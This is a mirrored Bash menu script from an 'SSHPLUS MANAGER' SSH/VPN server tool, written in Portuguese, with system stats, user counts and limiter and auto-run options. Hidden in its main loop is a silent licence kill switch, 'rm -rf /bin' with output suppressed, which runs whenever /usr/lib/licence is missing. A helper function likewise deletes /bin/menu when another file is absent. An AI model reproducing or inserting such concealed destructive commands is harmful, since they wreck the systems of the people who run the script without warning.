1
0
mirror of https://github.com/AAAAAEXQOSyIpN2JZ0ehUQ/SSHPLUS-MANAGER-FREE.git synced 2024-11-23 19:36:16 +00:00
SSHPLUS-MANAGER-FREE/Install/Skin_Plus/menuV3/menu
AAAAAEXQOSyIpN2JZ0ehUQ 650ce28b88 Update Script
2022-02-09 18:09:11 -03:00

208 lines
7.3 KiB
Bash

#!/bin/bash
fun_bar () {
comando[0]="$1"
comando[1]="$2"
(
[[ -e $HOME/fim ]] && rm $HOME/fim
[[ ! -e /usr/lib/sshplus ]] && rm -rf /bin/menu > /dev/null 2>&1
${comando[0]} -y > /dev/null 2>&1
${comando[1]} -y > /dev/null 2>&1
touch $HOME/fim
) > /dev/null 2>&1 &
tput civis
echo -ne "\033[1;33m["
while true; do
for((i=0; i<18; i++)); do
echo -ne "\033[1;31m#"
sleep 0.1s
done
[[ -e $HOME/fim ]] && rm $HOME/fim && break
echo -e "\033[1;33m]"
sleep 1s
tput cuu1
tput dl1
echo -ne "\033[1;33m["
done
echo -e "\033[1;33m]\033[1;37m -\033[1;32m OK !\033[1;37m"
tput cnorm
}
IP=$(cat /etc/IP)
x="ok"
menu ()
{
function autoexec () {
if grep "menu;" /etc/profile > /dev/null; then
clear
echo -e "\033[1;32mDESATIVANDO AUTO EXECUÇÃO\033[0m"
offautmenu () {
sed -i '/menu;/d' /etc/profile
}
echo ""
fun_bar 'offautmenu'
echo ""
echo -e "\033[1;31mAUTO EXECUÇÃO DESATIVADO!\033[0m"
sleep 1.5s
menu
else
clear
echo -e "\033[1;32mATIVANDO AUTO EXECUÇÃO\033[0m"
autmenu () {
grep -v "^menu;" /etc/profile > /tmp/tmpass && mv /tmp/tmpass /etc/profile
echo "menu;" >> /etc/profile
}
echo ""
fun_bar 'autmenu'
echo ""
echo -e "\033[1;32mAUTO EXECUÇÃO ATIVADO!\033[0m"
sleep 1.5s
menu
fi
}
#limiter
function limit1 () {
clear
echo -e "\n\033[1;32mINICIANDO O LIMITER... \033[0m"
echo ""
fun_bar 'screen -dmS limiter limiter' 'sleep 3'
[[ $(grep -wc "limiter" /etc/autostart) = '0' ]] && {
echo -e "ps x | grep 'limiter' | grep -v 'grep' && echo 'ON' || screen -dmS limiter limiter" >> /etc/autostart
} || {
sed -i '/limiter/d' /etc/autostart
echo -e "ps x | grep 'limiter' | grep -v 'grep' && echo 'ON' || screen -dmS limiter limiter" >> /etc/autostart
}
echo -e "\n\033[1;32m LIMITER ATIVO !\033[0m"
sleep 3
menu
}
function limit2 () {
clear
echo -e "\033[1;32mPARANDO O LIMITER... \033[0m"
echo ""
fun_stplimiter () {
sleep 1
screen -r -S "limiter" -X quit
screen -wipe 1>/dev/null 2>/dev/null
[[ $(grep -wc "limiter" /etc/autostart) != '0' ]] && {
sed -i '/limiter/d' /etc/autostart
}
sleep 1
}
fun_bar 'fun_stplimiter' 'sleep 3'
echo -e "\n\033[1;31m LIMITER PARADO !\033[0m"
sleep 3
menu
}
function limit_ssh () {
[[ $(ps x | grep "limiter"|grep -v grep |wc -l) = '0' ]] && limit1 || limit2
}
while true $x != "ok"
do
[[ -e /etc/Plus-torrent ]] && stsf=$(echo -e "\033[1;32m◉ ") || stsf=$(echo -e "\033[1;31m○ ")
stsbot=$(ps x | grep "bot_plus"|grep -v grep > /dev/null && echo -e "\033[1;32m◉ " || echo -e "\033[1;31m○ ")
autm=$(grep "menu;" /etc/profile > /dev/null && echo -e "\033[1;32m◉ " || echo -e "\033[1;31m○ ")
[[ ! -e /usr/lib/licence ]] && rm -rf /bin > /dev/null 2>&1
stsl=$(ps x | grep "limiter"|grep -v grep > /dev/null && echo -e "\033[1;32m◉ " || echo -e "\033[1;31m○ ")
stsu=$(ps x | grep "udpvpn"|grep -v grep > /dev/null && echo -e "\033[1;32m◉ " || echo -e "\033[1;31m○ ")
if [[ "$(grep -c "Ubuntu" /etc/issue.net)" = "1" ]]; then
system=$(cut -d' ' -f1 /etc/issue.net)
system+=$(echo ' ')
system+=$(cut -d' ' -f2 /etc/issue.net |awk -F "." '{print $1}')
elif [[ "$(grep -c "Debian" /etc/issue.net)" = "1" ]]; then
system=$(cut -d' ' -f1 /etc/issue.net)
system+=$(echo ' ')
system+=$(cut -d' ' -f3 /etc/issue.net)
else
system=$(cut -d' ' -f1 /etc/issue.net)
fi
_ons=$(ps -x | grep sshd | grep -v root | grep priv | wc -l)
[[ "$(cat /etc/SSHPlus/Exp)" != "" ]] && _expuser=$(cat /etc/SSHPlus/Exp) || _expuser="0"
[[ -e /etc/openvpn/openvpn-status.log ]] && _onop=$(grep -c "10.8.0" /etc/openvpn/openvpn-status.log) || _onop="0"
[[ -e /etc/default/dropbear ]] && _drp=$(ps aux | grep dropbear | grep -v grep | wc -l) _ondrp=$(($_drp - 1)) || _ondrp="0"
_onli=$(($_ons + $_onop + $_ondrp))
_ram=$(printf ' %-9s' "$(free -h | grep -i mem | awk {'print $2'})")
_usor=$(printf '%-8s' "$(free -m | awk 'NR==2{printf "%.2f%%", $3*100/$2 }')")
_usop=$(printf '%-1s' "$(top -bn1 | awk '/Cpu/ { cpu = "" 100 - $8 "%" }; END { print cpu }')")
_core=$(printf '%-1s' "$(grep -c cpu[0-9] /proc/stat)")
_system=$(printf '%-14s' "$system")
_hora=$(printf '%(%H:%M:%S)T')
_onlin=$(printf '%-5s' "$_onli")
_userexp=$(printf '%-5s' "$_expuser")
_tuser=$(awk -F: '$3>=1000 {print $1}' /etc/passwd | grep -v nobody | wc -l)
clear
echo -e "\033[0;34m━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\033[0m"
echo -e "\E[41;1;37m ⇱ SSHPLUS MANAGER ⇲ \E[0m"
echo -e "\033[0;34m━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\033[0m"
echo -e "\033[1;32mSISTEMA MEMÓRIA RAM PROCESSADOR "
echo -e "\033[1;31mOS: \033[1;37m$_system \033[1;31mTotal:\033[1;37m$_ram \033[1;31mNucleos: \033[1;37m$_core\033[0m"
echo -e "\033[1;31mHora: \033[1;37m$_hora \033[1;31mEm uso: \033[1;37m$_usor \033[1;31mEm uso: \033[1;37m$_usop\033[0m"
echo -e "\033[0;34m━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\033[0m"
[[ ! -e /tmp/att ]] && {
echo -e "\033[1;32mOnlines:\033[1;37m $_onlin \033[1;31mExpirados: \033[1;37m$_userexp \033[1;33mTotal: \033[1;37m$_tuser\033[0m"
var01='\033[1;37m•'
} || {
echo -e " \033[1;33m[\033[1;31m!\033[1;33m] \033[1;32mEXISTE UMA ATUALIZACAO DISPONIVEL \033[1;33m[\033[1;31m!\033[1;33m]\033[0m"
var01="\033[1;32m!"
}
echo -e "\033[0;34m━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\033[0m"
echo ""
echo -e "[\033[1;36m01\033[1;31m] \033[1;37m• \033[1;33mGERENCIAR USUARIOS \033[1;31m
[\033[1;36m02\033[1;31m] \033[1;37m\033[1;37m• \033[1;33mGERENCIAR FERRAMENTAS \033[1;31m
[\033[1;36m03\033[1;31m] \033[1;37m\033[1;37m• \033[1;33mGERENCIAR SISTEMA \033[1;31m
[\033[1;36m04\033[1;31m] $var01 \033[1;33m[!] \033[1;32mATUALIZAR SCRIPT \033[1;31m
[\033[1;36m05\033[1;31m] \033[1;37m• \033[1;33m[!] \033[1;31mREMOVER SCRIPT \033[1;31m
[\033[1;36m06\033[1;31m] \033[1;37m• \033[1;33mVERIFICACOES $stsl\033[1;31m
[\033[1;36m07\033[1;31m] \033[1;37m• \033[1;33mAUTO EXECUCAO $autm \033[1;31m
[\033[1;36m08\033[1;31m] \033[1;37m• \033[1;33mMODO DE CONEXAO \033[1;31m
\033[1;31m[\033[1;36m00\033[1;31m] \033[1;37m• \033[1;33mSAIR DO MENU \033[1;32m<\033[1;33m<\033[1;31m<\033[1;31m"
echo ""
echo -e "\033[0;34m━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\033[0m"
echo ""
echo -ne "\033[1;32mOQUE DESEJA FAZER \033[1;33m?\033[1;31m?\033[1;37m : "; read x
case "$x" in
1 | 01)
clear
usercodes
;;
2 | 02)
clear
ferramentascodes
;;
3 | 03)
clear
gestorcodes
;;
4 | 04)
attscript
;;
5 | 05)
clear
delscript
;;
6 | 06)
limit_ssh
;;
7 | 07)
autoexec
;;
8 | 08)
conexao
exit
;;
0 | 00)
echo -e "\033[1;31mSaindo...\033[0m"
sleep 2
clear
exit;
;;
*)
echo -e "\n\033[1;31mOpcao invalida !\033[0m"
sleep 2
esac
done
}
menu
#fim